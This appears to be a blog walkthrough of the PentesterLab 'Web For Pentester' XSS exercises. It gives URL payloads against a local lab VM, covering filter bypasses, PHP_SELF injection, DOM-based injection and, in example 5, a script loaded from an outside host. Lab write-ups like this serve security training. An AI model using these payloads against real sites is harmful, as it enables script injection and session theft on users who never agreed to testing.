PentesterLab - Web For Pentester - XSS Example 9

This example is a DOM-based XSS. This page could actually be completely static
and still be vulnerable.

In this example, you will need to read the code of the page to understand what is
happening. When the page is rendered, the JavaScript code uses the current URL
to retrieve the anchor portion of the URL (#...) and dynamically (on the client side)
write it inside the page. This can be used to trigger a XSS if you use the payload as
part of the URL

Payload

http://192.168.56.101/xss/example9.php#Bobby%3Cscript%3Ealert%28%27Dazzler%27%29%3C/script%3E

PentesterLab - Web For Pentester - XSS Example 8

Here, the value echoed back in the page is correctly encoded. However, there is still
a XSS in this page. To build the form, the developer used and trusted PHP_SELF
which is the path provide by the user.


Trusting the path provided by users is a common mistake and it can often be used
to trigger XSS along other issues. It's pretty common in pages with forms and in
error pages (404 and 500 pages).

Payload

http://192.168.56.101/xss/example8.php/%22%3E%3Cscript%3Ealert%28String.fromCharCode%2866,%20111,%2098,%2098,%20121,%2032,%2068,%2097,%20122,%20122,%20108,%20101,%20114%29%29%3C/script%3E

PentesterLab - Web For Pentester - XSS Example 7

This example is similar to the one before, however, you won't be able to use special
characters since they will be HTML encoded. As you will see, you don't really need
any of these characters.

This issue is common in PHP web application because the well known function
used to HTML-encode character (htmlentities) does not encode single quotes (')
unless you told it to using the ENT_QUOTES flag.

Payload

http://192.168.56.101/xss/example7.php?name=Bobby%27;alert%28String.fromCharCode%2868,%2097,%20122,%20122,%20108,%20101,%20114%29%29//

PentesterLab - Web For Pentester - XSS Example 6

Here, the source code of the HTML page is a bit different. If you read it, you will see
that the value you are sending is echoed back inside JavaScript code.

Payload

http://192.168.56.101/xss/example6.php?name=%3C?%20echo%28%27%3CSCR%29%27;echo%28%27IPT%3Ealert%28%22Dazzler%22%29%3C/SCRIPT%3EBobby%3Cscript%3Ealert%28%27Dazzler%27%29%3C/script%3E

PentesterLab - Web For Pentester - XSS Example 5

In this example, <script> tag is accepted and gets echoed back. But as soon as
you try to inject a call to alert, the PHP script stops its execution. The problem
seems to come from a filter on the word alert.

Payload

http://192.168.56.101/xss/example5.php?name=%3CSCRIPT/XSS%20SRC=%22http://ha.ckers.org/xss.js%22%3E%3C/SCRIPT%3E

Again, this isn't the way the paper wanted the alert box to be generated but it's still XSS all the same; just populated from an external source http://ha.ckers.org/xss/.js

PentesterLab - Web For Pentester - XSS Example 4

In this example, the developer decided to completely blacklist the word script: if
the request matches script, the execution stops.

Payload
http://192.168.56.101/xss/example4.php?name=%3Cdiv%20onmouseover=%27alert%281%29%27%20/%3E

PentesterLab - Web For Pentester - XSS Example 3

You notified the developer about your bypass. He added more filtering and now
seem to prevent your previous payload. However, he is making a terrible mistake in
his code (which was also present in the previous code)...

Payload

http://192.168.56.101/xss/example3.php?name=Bobby%3Cp%20onmouseover=alert%28%27Dazzl%27%29%3Eer%3C/p%3E

This isn't the way the paper wants you to pop the XSS but I had the payload correct and it wouldn't pop, the correct payload, that should of popped was:

http://192.168.56.101/xss/example3.php?name=Annoying<<script<>script>alert('Dazzler')<</script<>/script>

Which produced this:

If you know why this didn't work, feel free to comment!

PentesterLab - Web For Pentester - XSS Example 2

In the second example, a bit of filtering is involved. The web developer added some
regular expression to prevent the simple XSS payload to work.

Payload

http://192.168.56.101/xss/example2.php?name=Bobby<SCript>alert('Dazzler')</SCript>

PentesterLab - Web For Pentester - XSS Example 1

The first vulnerable example is just here to get you started with what is going on
when you find a XSS. Using the basic payload, you should be able to get an alert
box.

Payload:

http://192.168.56.101/xss/example1.php?name=bobby%3Cscript%3Ealert%28%27Dazzler%27%29%3C/script%3E